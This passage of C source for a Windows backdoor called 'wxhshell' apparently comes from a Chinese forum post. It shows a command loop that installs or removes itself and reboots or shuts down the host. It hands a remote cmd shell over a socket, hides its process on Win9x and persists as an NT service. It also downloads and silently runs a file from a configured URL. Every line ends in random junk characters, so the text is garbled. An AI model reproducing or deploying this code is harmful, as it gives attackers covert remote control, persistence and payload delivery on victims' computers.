 7*?}:  
    switch(cmd[0]) { Mw;sLsu  
  2u5|8  
  // 帮助 i*@< y/&'  
  case '?': { iT%} $Lu~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G{6;>8h  
    break; K5xX)oV  
  } ~1>.A(,=z  
  // 安装 :R~MO&  
  case 'i': { k@z,Iq8  
    if(Install()) Yj6*NZ*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <1t*I!e_  
    else FW21 U<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G1o3l~x  
    break; lLF-{  
    } #g]vc_V  
  // 卸载 `0Oh_8"  
  case 'r': { "$2 y-|  
    if(Uninstall()) j 4^97  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !;KCU^9  
    else ;,?KI$K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t},/}b  
    break; %>g3~yl  
    } j4cwI90=  
  // 显示 wxhshell 所在路径 2(#7[mgPI  
  case 'p': { 0sfr d  
    char svExeFile[MAX_PATH]; Yi$vg  
    strcpy(svExeFile,"\n\r"); BZ?.D_bu  
      strcat(svExeFile,ExeFile); # ?/<  
        send(wsh,svExeFile,strlen(svExeFile),0); UOxkO  
    break; ;{KV /<3  
    } Z|lq b=  
  // 重启 |bO"_U  
  case 'b': { CD~z=vlK-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~wkj&yVT  
    if(Boot(REBOOT)) Ljp%CI[i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); % a@>_  
    else { w%JTTru  
    closesocket(wsh); e,Uo#T6J  
    ExitThread(0); =5(>q5Z*  
    } $w);5o  
    break; {M^3m5.^  
    } %nV]ibp2)  
  // 关机 Cd>WUw  
  case 'd': { "O%gFye  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); LC'{p  
    if(Boot(SHUTDOWN)) !BOY@$Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %)0*&a 4  
    else { R]RZq+2 ^  
    closesocket(wsh); \E*d\hrl{  
    ExitThread(0); 3%(N[&LU  
    } id2j7|$,  
    break; F7O(Cy"1  
    } i5CK*"$Q  
  // 获取shell Nw1#M%/!r!  
  case 's': { A^y|J ` k|  
    CmdShell(wsh); }wHW7SJ  
    closesocket(wsh); R' !  
    ExitThread(0); W8KDX_vGJ  
    break; ;;:-l99  
  } l@\#Ywz  
  // 退出 [Z}9>~m  
  case 'x': { YTexv;VNb|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \l]DQaOEe  
    CloseIt(wsh); tavpq.0O  
    break; i03w 1pSH,  
    } 'gTbA?+@5  
  // 离开 ck.w 5|$  
  case 'q': { \v.C]{Gzc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (K)]qNH  
    closesocket(wsh); Te<}*qvD  
    WSACleanup(); L>SjllY  
    exit(1); +ayos[<0#  
    break; j]aoR  
        } :uK? 4  
  } ecCr6)  
  } T`;%TO*Y  
{O7X`'[  
  // 提示信息 %\H|B0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `m!j$,c.  
} k=4N.*#`y  
  } CkdP#}f  
^7 &5 z&o  
  return; PGLplXb#[S  
} ~s]iy9i  
8p@Piy{p  
// shell模块句柄 2E)wpgUc?e  
int CmdShell(SOCKET sock) dVi!Q@y+  
{ jO1r)hw N>  
STARTUPINFO si; (tZrw5 @  
ZeroMemory(&si,sizeof(si)); 9Bw|(J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5 ({t4dm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .MJofE;Jn  
PROCESS_INFORMATION ProcessInfo; ^wc"&;=c|  
char cmdline[]="cmd"; (<}&DE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /q5v"iX]T  
  return 0; 37|&?||  
} 3~ S8!nx  
EioB%f3  
// 自身启动模式 g'V>_u#(  
int StartFromService(void) -1U D0(  
{ .tzG_  
typedef struct :]^P1sH[  
{ NT+?  #0I  
  DWORD ExitStatus; QUQu^p  
  DWORD PebBaseAddress; ~XWQhIAM4  
  DWORD AffinityMask; lJis~JLd`  
  DWORD BasePriority; ;[ u%_  
  ULONG UniqueProcessId; obNqsyc77R  
  ULONG InheritedFromUniqueProcessId; jkt_5+S  
}   PROCESS_BASIC_INFORMATION; 2L} SJUk*  
g#t[LI9(F[  
PROCNTQSIP NtQueryInformationProcess; }7 c[Q($K  
D IzH`|Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b+&% 1C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |qmu _x\  
gm[z[~X@  
  HANDLE             hProcess; i*NH'o/  
  PROCESS_BASIC_INFORMATION pbi; Y[K*57fs  
8=Z9T<K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ( 8c9 /7h  
  if(NULL == hInst ) return 0; +L9Eqll  
P%(O|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZfgJ.<<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  s8rE$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $}jssnoU  
Ksy -e{n  
  if (!NtQueryInformationProcess) return 0; j&Wl0  
>w^YO25q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~?FpU  
  if(!hProcess) return 0; Ju :CMkv  
s! }ne"&0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KNLfp1!  
nEkR1^30  
  CloseHandle(hProcess); e[ /dv)J  
Yo("U8:XX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Vy938qX   
if(hProcess==NULL) return 0; <-D0u?8  
w$`5g  
HMODULE hMod; e^[H[d.WMC  
char procName[255]; 1PP $XJtyD  
unsigned long cbNeeded; ~ ArP9 K "  
dRaNzK)M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }C>{uXv  
_oUHJ~&,  
  CloseHandle(hProcess); (Yis:%c\!  
qycI(5S,  
if(strstr(procName,"services")) return 1; // 以服务启动 dOoKLry  
x`dHJq`_g  
  return 0; // 注册表启动 66I"=:  
} ?}a;}Q 6  
45MLt5^|  
// 主模块 D?8rO"  
int StartWxhshell(LPSTR lpCmdLine) :C65-[PSdO  
{ K/3)g9Z&io  
  SOCKET wsl; 3T}izG]  
BOOL val=TRUE; ],J EBt  
  int port=0; mA*AeP_$  
  struct sockaddr_in door; eZdu2.;<  
JZD[NZ<  
  if(wscfg.ws_autoins) Install(); =<X?sj5  
.NvQm]N0.  
port=atoi(lpCmdLine); g47-db"5  
W034N[9  
if(port<=0) port=wscfg.ws_port; |<.lW  
+{W>i;U  
  WSADATA data; 3rcKzS7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z3K6%rb-  
.D: Z{|.1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z<SLc,]^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); JA'h4AXk  
  door.sin_family = AF_INET; %JHGiCv|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R%qGPO5Z\c  
  door.sin_port = htons(port); ^*S)t. "  
@g$Gti  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N%"Y  
closesocket(wsl); 72Iy^Y[MX  
return 1; "Za >ZRR  
} k=B] &F  
n1&% e6XhO  
  if(listen(wsl,2) == INVALID_SOCKET) { S<WdZ=8sA  
closesocket(wsl); SOi*SwQ8  
return 1; oNU0 qZ5  
} LjUy*mxw  
  Wxhshell(wsl); lq>+~zX{  
  WSACleanup(); jp"JafS/E  
o;=l ^-  
return 0; dUF&."pW e  
7"w2$*4'0  
} -xDGH  
L.2/*H#  
// 以NT服务方式启动 ""1^k2fj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sZL#xZ5 Df  
{ fD07VBS yl  
DWORD   status = 0; bX*Hi#J~A  
  DWORD   specificError = 0xfffffff; vt;{9\Y  
,Td!|~I|j6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V {pj~D.E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lI-L` x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o_D?t-XH  
  serviceStatus.dwWin32ExitCode     = 0; Lv'D^'I  
  serviceStatus.dwServiceSpecificExitCode = 0; &*7?)eI!i  
  serviceStatus.dwCheckPoint       = 0; DV\`Wv  
  serviceStatus.dwWaitHint       = 0; @1 U&UH  
GA?87N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jGEt+\"/QJ  
  if (hServiceStatusHandle==0) return; D!.+Y-+Xzu  
P~G1EK|4  
status = GetLastError(); Fx $Q;H!.  
  if (status!=NO_ERROR) @:U+9[  
{ YE=q:Bv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +AHUp)  
    serviceStatus.dwCheckPoint       = 0; W0k0$\iX  
    serviceStatus.dwWaitHint       = 0; <0QH<4  
    serviceStatus.dwWin32ExitCode     = status; =ZDAeVz3w  
    serviceStatus.dwServiceSpecificExitCode = specificError; sm\f0P!rv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {e[c  
    return; :bWUuXVtJ  
  } NLrPSqz  
OnF3lCmu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pDh{Z g6t  
  serviceStatus.dwCheckPoint       = 0; -|Y(V5]  
  serviceStatus.dwWaitHint       = 0; B:e @0049  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #ceaZn|@m  
} +[ R/=$  
3$m4q`J  
// 处理NT服务事件,比如:启动、停止 1\g6)|R-+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P#_sg0oJF  
{ m^H21P"z  
switch(fdwControl) F6K4#t+9  
{ qnoNT%xazo  
case SERVICE_CONTROL_STOP: {.De4]ANh  
  serviceStatus.dwWin32ExitCode = 0; CMCO}#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |R56ho5C  
  serviceStatus.dwCheckPoint   = 0; e?Ho a$k  
  serviceStatus.dwWaitHint     = 0; ;w%*M}`5  
  { cFJ-Mkl l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T[sDVkCbxf  
  } B7]C]=${m  
  return; V\{tmDE  
case SERVICE_CONTROL_PAUSE: K)-m*#H&uw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xw3YK!$sIF  
  break; 6X\ 2GC9  
case SERVICE_CONTROL_CONTINUE: 7\9>a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {qmdm`V[  
  break; o.'g]Q<}UB  
case SERVICE_CONTROL_INTERROGATE: TP"1\O  
  break; 5e}A@GyC  
}; K,e w>U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x#Q>J"g  
} )DeA} e ?F  
H.W E6  
// 标准应用程序主函数 #Ap;_XcKw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5i-Rglo  
{ qpsv i.S  
L9@&2?k  
// 获取操作系统版本 PIWux {  
OsIsNt=GetOsVer(); 9!Ar`Io2@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \MmI`$  
w 1Ec_y{  
  // 从命令行安装 >^Yq|~[  
  if(strpbrk(lpCmdLine,"iI")) Install(); DF g,Xa#  
h^*4}GU  
  // 下载执行文件 2l F>1vH  
if(wscfg.ws_downexe) { hTM[8 ~<^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~O]]N;>72"  
  WinExec(wscfg.ws_filenam,SW_HIDE); !Mu|mz=  
} \|Ul]1pO8  
PNA\ TXT  
if(!OsIsNt) { \T\b NbPn  
// 如果时win9x,隐藏进程并且设置为注册表启动 2{Chu85   
HideProc(); IZm(`b;t^  
StartWxhshell(lpCmdLine); (lGaPMEU}  
} N,f4*PQ  
else A^RR@D  
  if(StartFromService()) :UbM !  
  // 以服务方式启动 #!$GH_  
  StartServiceCtrlDispatcher(DispatchTable); `c69 ?/5  
else K^3co  
  // 普通方式启动 [b/k3&O'  
  StartWxhshell(lpCmdLine); tBm_YP[  
i:cXwQG}B  
return 0; t2V0lyeL  
}
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只看该作者 1 发表于: 2006-10-10
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